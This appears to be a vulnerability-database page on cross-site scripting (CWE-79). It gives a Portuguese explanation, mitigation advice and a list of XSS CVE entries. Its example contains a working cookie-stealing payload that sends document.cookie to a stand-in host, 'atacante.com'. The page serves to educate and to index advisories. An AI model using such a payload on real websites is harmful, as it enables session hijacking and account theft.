Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-11338MEDIUMSourceCodester Ship Ferry Ticket Reservation System manage_user cross site scriptingEPSS 0.3%CVE-2026-7308MEDIUMNexus Repository 3 - Stored Cross-Site Scripting (XSS) via HTML Browse PageEPSS 0.3%CVE-2025-6690MEDIUMWP Tournament Registration <= 1.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via field ParameterEPSS 0.3%CVE-2025-24560HIGHWordPress Awesome Event Booking plugin <= 2.7.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24614HIGHWordPress Post Timeline Plugin <= 2.3.9 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-2424MEDIUMReward Video Ad for WordPress <= 1.6 - Authenticated (Administrator+) Stored Cross-Site Scripting via Admin SettingsEPSS 0.3%CVE-2026-6504MEDIUMRoyal Addons for Elementor <= 1.7.1058 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'title_tag' ParameterEPSS 0.3%CVE-2025-24551HIGHWordPress Radio Buttons and Swatches for WooCommerce plugin <= 1.1.20 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-23759HIGHWordPress Affiliate Tools Việt Nam plugin <= 0.3.17 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-24635HIGHWordPress Paytm – Donation Plugin plugin <= 2.3.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-61549MEDIUMCross-Site Scripting (XSS) is present on the LoginID parameter on the /PSP/app/web/reg/reg_display.asp endpoint in edu Business Solutions PrEPSS 0.3%CVE-2024-32762HIGHQuLog CenterEPSS 0.3%CVE-2024-44771MEDIUMBigId PrivacyPortal v179 is vulnerable to Cross Site Scripting (XSS) via the "Label" field in the Report template function.EPSS 0.3%CVE-2026-96650HIGHStrong Testimonials <= 3.3.11 - Unauthenticated Stored Cross-Site Scripting via 'platform_user_photo' Custom FieldEPSS 0.3%CVE-2025-24599HIGHWordPress Newsletters plugin <= 4.9.9.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-5524MEDIUMOceanWP <= 4.0.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Select HTML TagEPSS 0.3%CVE-2025-24710HIGHWordPress Gwolle Guestbook plugin <= 4.7.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-4755MEDIUMGoogle CSE <= 1.0.7 - Admin+ Stored XSSEPSS 0.3%CVE-2024-56063MEDIUMWordPress Essential Addons for Elementor plugin <= 6.0.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-6808MEDIUMPricing Tables for WP <= 1.1.0 - Reflected Cross-Site Scripting via 'page' ParameterEPSS 0.3%